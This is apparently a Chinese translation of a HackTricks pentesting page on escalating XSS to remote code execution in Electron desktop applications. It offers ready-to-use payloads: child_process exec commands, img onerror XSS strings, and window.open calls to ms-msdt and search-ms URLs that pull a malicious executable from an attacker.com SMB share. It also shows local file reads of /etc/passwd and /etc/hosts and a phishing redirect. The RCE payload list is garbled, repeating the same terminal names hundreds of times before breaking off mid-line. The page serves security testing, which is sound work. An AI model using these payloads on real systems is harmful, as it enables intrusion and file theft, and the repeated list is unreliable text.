.. | ||
electron-contextisolation-rce-via-electron-internal-code.md | ||
electron-contextisolation-rce-via-ipc.md | ||
electron-contextisolation-rce-via-preload-code.md | ||
README.md |
XSS到RCE Electron桌面应用程序
☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥
- 你在一家网络安全公司工作吗?你想在HackTricks中看到你的公司广告吗?或者你想获得PEASS的最新版本或下载HackTricks的PDF吗?请查看订阅计划!
- 发现我们的独家NFTs收藏品-The PEASS Family
- 获取官方PEASS和HackTricks周边产品
- 加入💬 Discord群组或电报群组,或关注我在Twitter上的🐦@carlospolopm。
- 通过向hacktricks repo 和hacktricks-cloud repo 提交PR来分享你的黑客技巧。
介绍
Electron是基于Chromium的,但它不是一个浏览器。现代浏览器实施的某些原则和安全机制在Electron中并不存在。
你可以将Electron看作是一个本地的前后端应用程序,其中NodeJS是后端,Chromium是前端。
通常情况下,你可能会在.asar
应用程序中找到Electron应用程序的代码,为了获取代码,你需要提取它:
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
在 Electron 应用的源代码中,可以在 packet.json
文件中找到指定的 main.js
文件,其中设置了安全配置。
{
"name": "standard-notes",
"main": "./app/index.js",
Electron有两种进程类型:
- 主进程(完全访问NodeJS)
- 渲染进程(出于安全原因,应限制NodeJS的访问权限)
渲染进程将是加载文件的浏览器窗口:
const {BrowserWindow} = require('electron');
let win = new BrowserWindow();
//Open Renderer Process
win.loadURL(`file://path/to/index.html`);
渲染进程的设置可以在main.js文件的主进程中进行配置。如果设置正确,一些配置将防止Electron应用程序遭受RCE或其他漏洞。
桌面应用程序可能通过Node API访问用户设备。以下两个配置负责提供机制,以防止应用程序JavaScript直接访问用户设备和系统级命令。
nodeIntegration
- 默认为off
。如果打开,允许从渲染进程访问Node功能。contextIsolation
- 默认为on
。如果打开,主进程和渲染进程不会被隔离。preload
- 默认为空。sandbox
- 默认为关闭。它将限制NodeJS可以执行的操作。- Workers中的Node集成
nodeIntegrationInSubframes
- 默认为off
。- 如果启用了**
nodeIntegration
,则允许在Electron应用程序中的iframe中加载的网页中使用Node.js API**。 - 如果禁用了**
nodeIntegration
**,则预加载将在iframe中加载
配置示例:
const mainWindowOptions = {
title: 'Discord',
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true
}
};
以下是来自这里的一些RCE负载:
- `require('child_process').exec('calc.exe')`
- `require('child_process').exec('gnome-calculator')`
- `require('child_process').exec('xcalc')`
- `require('child_process').exec('mate-calc')`
- `require('child_process').exec('kcalc')`
- `require('child_process').exec('konsole')`
- `require('child_process').exec('gnome-terminal')`
- `require('child_process').exec('xterm')`
- `require('child_process').exec('xfce4-terminal')`
- `require('child_process').exec('lxterminal')`
- `require('child_process').exec('terminator')`
- `require('child_process').exec('terminology')`
- `require('child_process').exec('st')`
- `require('child_process').exec('alacritty')`
- `require('child_process').exec('urxvt')`
- `require('child_process').exec('sakura')`
- `require('child_process').exec('tilda')`
- `require('child_process').exec('guake')`
- `require('child_process').exec('yakuake')`
- `require('child_process').exec('roxterm')`
- `require('child_process').exec('eterm')`
- `require('child_process').exec('terminix')`
- `require('child_process').exec('cool-retro-term')`
- `require('child_process').exec('deepin-terminal')`
- `require('child_process').exec('terminology')`
- `require('child_process').exec('terminator')`
- `require('child_process').exec('tilda')`
- `require('child_process').exec('guake')`
- `require('child_process').exec('yakuake')`
- `require('child_process').exec('roxterm')`
- `require('child_process').exec('eterm')`
- `require('child_process').exec('terminix')`
- `require('child_process').exec('cool-retro-term')`
- `require('child_process').exec('deepin-terminal')`
- `require('child_process').exec('terminology')`
- `require('child_process').exec('terminator')`
- `require('child_process').exec('tilda')`
- `require('child_process').exec('guake')`
- `require('child_process').exec('yakuake')`
- `require('child_process').exec('roxterm')`
- `require('child_process').exec('eterm')`
- `require('child_process').exec('terminix')`
- `require('child_process').exec('cool-retro-term')`
- `require('child_process').exec('deepin-terminal')`
- `require('child_process').exec('terminology')`
- `require('child_process').exec('terminator')`
- `require('child_process').exec('tilda')`
- `require('child_process').exec('guake')`
- `require('child_process').exec('yakuake')`
- `require('child_process').exec('roxterm')`
- `require('child_process').exec('eterm')`
- `require('child_process').exec('terminix')`
- `require('child_process').exec('cool-retro-term')`
- `require('child_process').exec('deepin-terminal')`
- `require('child_process').exec('terminology')`
- `require('child_process').exec('terminator')`
- `require('child_process').exec('tilda')`
- `require('child_process').exec('guake')`
- `require('child_process').exec('yakuake')`
- `require('child_process').exec('roxterm')`
- `require('child_process').exec('eterm')`
- `require('child_process').exec('terminix')`
- `require('child_process').exec('cool-retro-term')`
- `require('child_process').exec('deepin-terminal')`
- `require('child_process').exec('terminology')`
- `require('child_process').exec('terminator')`
- `require('child_process').exec('tilda')`
- `require('child_process').exec('guake')`
- `require('child_process').exec('yakuake')`
- `require('child_process').exec('roxterm')`
- `require('child_process').exec('eterm')`
- `require('child_process').exec('terminix')`
- `require('child_process').exec('cool-retro-term')`
- `require('child_process').exec('deepin-terminal')`
- `require('child_process').exec('terminology')`
- `require('child_process').exec('terminator')`
- `require('child_process').exec('tilda')`
- `require('child_process').exec('guake')`
- `require('child_process').exec('yakuake')`
- `require('child_process').exec('roxterm')`
- `require('child_process').exec('eterm')`
- `require('child_process').exec('terminix')`
- `require('child_process').exec('cool-retro-term')`
- `require('child_process').exec('deepin-terminal')`
- `require('child_process').exec('terminology')`
- `require('child_process').exec('terminator')`
- `require('child_process').exec('tilda')`
- `require('child_process').exec('guake')`
- `require('child_process').exec('yakuake')`
- `require('child_process').exec('roxterm')`
- `require('child_process').exec('eterm')`
- `require('child_process').exec('terminix')`
- `require('child_process').exec('cool-retro-term')`
- `require('child_process').exec('deepin-terminal')`
- `require('child_process').exec('terminology')`
- `require('child_process').exec('terminator')`
- `require('child_process').exec('tilda')`
- `require('child_process').exec('guake')`
- `require('child_process').exec('yakuake')`
- `require('child_process').exec('roxterm')`
- `require('child_process').exec('eterm')`
- `require('child_process').exec('terminix')`
- `require('child_process').exec('cool-retro-term')`
- `require('child_process').exec('deepin-terminal')`
- `require('child_process').exec('terminology')`
- `require('child_process').exec('terminator')`
- `require('child_process').exec('tilda')`
- `require('child_process').exec('guake')`
- `require('child_process').exec('yakuake')`
- `require('child_process').exec('roxterm')`
- `require('child_process').exec('eterm')`
- `require('child_process').exec('terminix')`
- `require('child_process').exec('cool-retro-term')`
- `require('child_process').exec('deepin-terminal')`
- `require('child_process').exec('terminology')`
- `require('child_process').exec('terminator')`
- `require('child_process').exec('tilda')`
- `require('child_process').exec('guake')`
- `require('child_process').exec('yakuake')`
- `require('child_process').exec('roxterm')`
- `require('child_process').exec('eterm')`
- `require('child_process').exec('terminix')`
- `require('child_process').exec('cool-retro-term')`
- `require('child_process').exec('deepin-terminal')`
- `require('child_process').exec('terminology')`
- `require('child_process').exec('terminator')`
- `require('child_process').exec('tilda')`
- `require('child_process').exec('guake')`
- `require('child_process').exec('yakuake')`
- `require('child_process').exec('roxterm')`
- `require('child_process').exec('eterm')`
- `require('child_process').exec('terminix')`
- `require('child_process').exec('cool-retro-term')`
- `require('child_process').exec('deepin-terminal')`
- `require('child_process').exec('terminology')`
- `require('child_process').exec('terminator')`
- `require('child_process').exec('tilda')`
- `require('child_process').exec('guake')`
- `require('child_process').exec('yakuake')`
- `require('child_process').exec('roxterm')`
- `require('child_process').exec('eterm')`
- `require('child_process').exec('terminix')`
- `require('child_process').exec('cool-retro-term')`
- `require('child_process').exec('deepin-terminal')`
- `require('child_process').exec('terminology')`
- `require('child_process').exec('terminator')`
- `require('child_process').exec('tilda')`
- `require('child_process').exec('guake')`
- `require('child_process').exec('yakuake')`
- `require('child_process').exec('roxterm')`
- `require('child_process').exec('eterm')`
- `require('child_process').exec('terminix')`
- `require('child_process').exec('cool-retro-term')`
- `require('child_process').exec('deepin-terminal')`
- `require('child_process').exec('terminology')`
- `require('child_process').exec('terminator')`
- `require('child_process').exec('tilda')`
- `require('child_process').exec('guake')`
- `require('child_process').exec('yakuake')`
- `require('child_process').exec('roxterm')`
- `require('child_process').exec('eterm')`
- `require('child_process').exec('terminix')`
- `require('child_process').exec('cool-retro-term')`
- `require('child_process').exec('deepin-terminal')`
- `require('child_process').exec('terminology')`
- `require('child_process').exec('terminator')`
- `require('child_process').exec('tilda')`
- `require('child_process').exec('guake')`
- `require('child_process').exec('yakuake')`
- `require('child_process').exec('roxterm')`
- `require('child_process').exec('eterm')`
- `require('child_process').exec('terminix')`
- `require('child_process').exec('cool-retro-term')`
- `require('child_process').exec('deepin-terminal')`
- `require('child_process').exec('terminology')`
- `require('child_process').exec('terminator')`
- `require('child_process').exec('tilda')`
- `require('child_process').exec('guake')`
- `require('child_process').exec('yakuake')`
- `require('child_process').exec('roxterm')`
- `require('child_process').exec('eterm')`
- `require('child_process').exec('terminix')`
- `require('child_process').exec('cool-retro-term')`
- `require('child_process').exec('deepin-terminal')`
- `require('child_process').exec('terminology')`
- `require('child_process').exec('terminator')`
- `require('child_process').exec('tilda')`
- `require('child_process').exec('guake')`
- `require('child_process').exec('yakuake')`
- `require('child_process').exec('roxterm')`
- `require('child_process').exec('eterm')`
- `require('child_process').exec('terminix')`
- `require('child_process').exec('cool-retro-term')`
- `require('child_process').exec('deepin-terminal')`
- `require('child_process').exec('terminology')`
- `require('child_process').exec('terminator')`
- `require('child_process').exec('tilda')`
- `require('child_process').exec('guake')`
- `require('child_process').exec('yakuake')`
- `require('child_process').exec('roxterm')`
- `require('child_process').exec('eterm')`
- `require('child_process').exec('terminix')`
- `require('child_process').exec('cool-retro-term')`
- `require('child_process').exec('deepin-terminal')`
- `require('child_process').exec('terminology')`
- `require('child_process').exec('terminator')`
- `require('child_process').exec('tilda')`
- `require('child_process').exec('guake')`
- `require('child_process').exec('yakuake')`
- `require('child_process').exec('roxterm')`
- `require('child_process').exec('eterm')`
- `require('child_process').exec('terminix')`
- `require('child_process').exec('cool-retro-term')`
- `require('child_process').exec('deepin-terminal')`
- `require('child_process').exec('terminology')`
- `require('child_process').exec('terminator')`
- `require('child_process').exec('tilda')`
- `require('child_process').exec('guake')`
- `require('child_process').exec('yakuake')`
- `require('child_process').exec('roxterm')`
- `require('child_process').exec('eterm')`
- `require('child_process').exec('terminix')`
- `require('child_process').exec('cool-retro-term')`
- `require('child_process').exec('deepin-terminal')`
- `require('child_process').exec('terminology')`
- `require('child_process').exec('terminator')`
- `require('child_process').exec('tilda')`
- `require('child_process').exec('guake')`
- `require('child_process').exec('yakuake')`
- `require('child_process').exec('roxterm')`
- `require('child_process').exec('eterm')`
- `require('child_process').exec('terminix')`
- `require('child_process').exec('cool-retro-term')`
- `require('child_process').exec('deepin-terminal')`
- `require('child_process').exec('terminology')`
- `require('child_process').exec('terminator')`
- `require('child_process').exec('tilda')`
- `require('child_process').exec('guake')`
- `require('child_process').exec('yakuake')`
- `require('child_process').exec('roxterm')`
- `require('child_process').exec('eterm')`
- `require('child_process').exec('terminix')`
- `require('child_process').exec('cool-retro-term')`
- `require('child_process').exec('deepin-terminal')`
- `require('child_process').exec('terminology')`
- `require('child_process').exec('terminator')`
- `require('child_process').exec('tilda')`
- `require('child_process').exec('guake')`
- `require('child_process').exec('yakuake')`
- `require('child_process').exec('roxterm')`
- `require('child_process').exec('eterm')`
- `require('child_process').exec('terminix')`
- `require('child_process').exec('cool-retro-term')`
- `require('child_process').exec('deepin-terminal')`
- `require('child_process').exec('terminology')`
- `require('child_process').exec('terminator')`
- `require('child_process').exec('tilda')`
- `require('child_process').exec('guake')`
- `require('child_process').exec('yakuake')`
- `require('child_process').exec('roxterm')`
- `require('child_process').exec('eterm')`
- `require('child_process').exec('terminix')`
- `require('child_process').exec('cool-retro-term')`
- `require('child_process').exec('deepin-terminal')`
- `require('child_process').exec('terminology')`
- `require('child_process').exec('terminator')`
- `require('child_process').exec('tilda')`
- `require('child_process').exec('guake')`
- `require('child_process').exec('yakuake')`
- `require('child_process').exec('roxterm')`
- `require('child_process').exec('eterm')`
- `require('child_process').exec('terminix')`
- `require('child_process').exec('cool-retro-term')`
- `require('child_process').exec('deepin-terminal')`
- `require('child_process').exec('terminology')`
- `require('child_process').exec('terminator')`
- `require('child_process').exec('tilda')`
- `require('child_process').exec('guake')`
- `require('child_process').exec('yakuake')`
- `require('child_process').exec('roxterm')`
- `require('child_process').exec('eterm')`
- `require('child_process').exec('terminix')`
- `require('child_process').exec('cool-retro-term')`
- `require('child_process').exec('deepin-terminal')`
- `require('child_process').exec('terminology')`
- `require('child_process').exec('terminator')`
- `require('child_process').exec('tilda')`
- `require('child_process').exec('guake')`
- `require('child_process').exec('
```html
Example Payloads (Windows):
<img src=x onerror="alert(require('child_process').execSync('calc').toString());">
Example Payloads (Linux & MacOS):
<img src=x onerror="alert(require('child_process').execSync('gnome-calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('id').toString());">
<img src=x onerror="alert(require('child_process').execSync('ls -l').toString());">
<img src=x onerror="alert(require('child_process').execSync('uname -a').toString());">
捕获流量
修改start-main配置文件,并添加使用代理的设置,例如:
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
RCE: XSS + nodeIntegration
如果将nodeIntegration设置为on,网页的JavaScript可以通过调用require()
轻松使用Node.js功能。例如,在Windows上执行计算器应用程序的方法是:
<script>
require('child_process').exec('calc');
// or
top.require('child_process').exec('open /System/Applications/Calculator.app');
</script>
RCE: preload
在此设置中指定的脚本会在渲染器中的其他脚本之前加载,因此它具有对 Node API 的无限访问权限:
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});
因此,该脚本可以将节点特性导出到页面:
{% code title="preload.js" %}
typeof require === 'function';
window.runCalc = function(){
require('child_process').exec('calc')
};
{% code title="index.html" %}
<body>
<script>
typeof require === 'undefined';
runCalc();
</script>
</body>
{% endcode %}
{% hint style="info" %}
如果contextIsolation
被打开,这个方法将不起作用
{% endhint %}
RCE: XSS + contextIsolation
contextIsolation 引入了网页脚本和JavaScript Electron内部代码之间的分离上下文,使得每个代码的JavaScript执行不会相互影响。这是一种必要的功能,以消除RCE的可能性。
如果上下文没有被隔离,攻击者可以:
- 在渲染器中执行任意JavaScript代码(XSS或导航到外部网站)
- 覆盖在preload或Electron内部代码中使用的内置方法,以拥有自己的函数
- 触发覆盖的函数的使用
- RCE?
内置方法可以在两个地方被覆盖:在preload代码中或在Electron内部代码中:
{% content-ref url="electron-contextisolation-rce-via-preload-code.md" %} electron-contextisolation-rce-via-preload-code.md {% endcontent-ref %}
{% content-ref url="electron-contextisolation-rce-via-electron-internal-code.md" %} electron-contextisolation-rce-via-electron-internal-code.md {% endcontent-ref %}
{% content-ref url="electron-contextisolation-rce-via-ipc.md" %} electron-contextisolation-rce-via-ipc.md {% endcontent-ref %}
绕过点击事件
如果在点击链接时有限制,您可以尝试通过中键点击而不是常规左键点击来绕过限制。
window.addEventListener('click', (e) => {
通过shell.openExternal实现远程代码执行(RCE)
如果Electron桌面应用程序使用了正确的nodeIntegration
和contextIsolation
设置,那么就意味着无法通过针对preload脚本或Electron主进程的本地代码来实现客户端RCE。
每当用户点击链接或打开新窗口时,以下事件监听器会被调用:
{% code overflow="wrap" %}
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
{% endcode %}
桌面应用程序覆盖这些监听器以实现桌面应用程序自己的业务逻辑。在创建新窗口时,应用程序会检查导航链接是否应在桌面应用程序的窗口或选项卡中打开,还是应在Web浏览器中打开。在我们的示例中,验证是使用函数openInternally
实现的,如果返回false
,应用程序将假定链接应使用shell.openExternal
函数在Web浏览器中打开。
这是一个简化的伪代码:
根据Electron JS的安全最佳实践,openExternal
函数不应接受不受信任的内容,因为这可能导致滥用不同的协议进行RCE,如果应用程序不限制用户通过https://或http://等协议进行导航。
不同的操作系统支持不同的协议,可能触发RCE,请查看更多信息:https://positive.security/blog/url-open-rce,但这里有一些Windows的示例:
<script>
window.open("ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22")
</script>
<script>
window.open("search-ms:query=malicious_executable.exe&crumb=location:%5C%[5Cattacker.com](<http://5cattacker.com/>)%5Csmb_share%5Ctools&displayname=Important%20update")
</script>
<script>
window.open("ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D")
</script>
有关这些示例的更多信息,请查看https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8和https://benjamin-altpeter.de/shell-openexternal-dangers/
读取内部文件:XSS + contextIsolation
如果contextIsolation
设置为false,您可以尝试使用<webview>(类似于<iframe>,但可以加载本地文件)来读取本地文件并将其外泄:使用类似于**<webview src=”file:///etc/passwd”></webview>**的方法:
从这个writeup中读取内部文件的另一种方法:
<br><BR><BR><BR>
<h1>pwn<br>
<iframe onload=j() src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body.innerText)}
</script>
RCE: XSS + 旧版 Chromium
如果应用程序使用的 Chromium 是 旧版,并且存在已知的漏洞,可能可以通过 XSS 利用它并获取 RCE。
您可以在此 writeup 中看到一个示例:https://blog.electrovolt.io/posts/discord-rce/
通过内部 URL 正则绕过进行 XSS 钓鱼
假设您发现了一个 XSS 漏洞,但是您无法触发 RCE 或窃取内部文件,您可以尝试使用它来通过钓鱼来窃取凭据。
首先,您需要了解在尝试打开新 URL 时会发生什么,检查前端的 JS 代码:
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
调用**openInternally
**函数将决定链接是在桌面窗口中打开(因为它是属于平台的链接),还是在浏览器中作为第三方资源打开。
如果函数使用的正则表达式容易被绕过(例如,没有转义子域的点),攻击者可以利用XSS来打开一个新窗口,该窗口位于攻击者的基础设施中,并向用户索取凭据:
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
工具
- Electronegativity 是一个用于识别基于 Electron 的应用程序中的配置错误和安全反模式的工具。
- Electrolint 是一个用于 Electron 应用程序的开源 VS Code 插件,使用 Electronegativity。
- nodejsscan 用于检查存在漏洞的第三方库。
- Electro.ng:需要购买。
实验
在 https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s 中,您可以找到一个实验来利用易受攻击的 Electron 应用程序。
以下是一些有助于您完成实验的命令:
# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip
# Get inside the electron app and check for vulnerabilities
npm audit
# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1
# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start
参考资料
- https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028
- https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d
- https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8
- https://www.youtube.com/watch?v=a-YnG3Mx-Tg
- https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s
- 有关 Electron 安全性的更多研究和写作,请参考 https://github.com/doyensec/awesome-electronjs-hacking
- https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81
☁️ HackTricks 云 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 你在一家 网络安全公司 工作吗?想要在 HackTricks 中 为你的公司做广告 吗?或者想要获得 PEASS 的最新版本或下载 HackTricks 的 PDF 吗?请查看 订阅计划!
- 发现我们的独家 NFTs 集合 The PEASS Family
- 获取 官方 PEASS & HackTricks 商品
- 加入 💬 Discord 群组 或 Telegram 群组,或者在 Twitter 上 关注 我 🐦@carlospolopm。
- 通过向 hacktricks 仓库 和 hacktricks-cloud 仓库 提交 PR 来分享你的黑客技巧。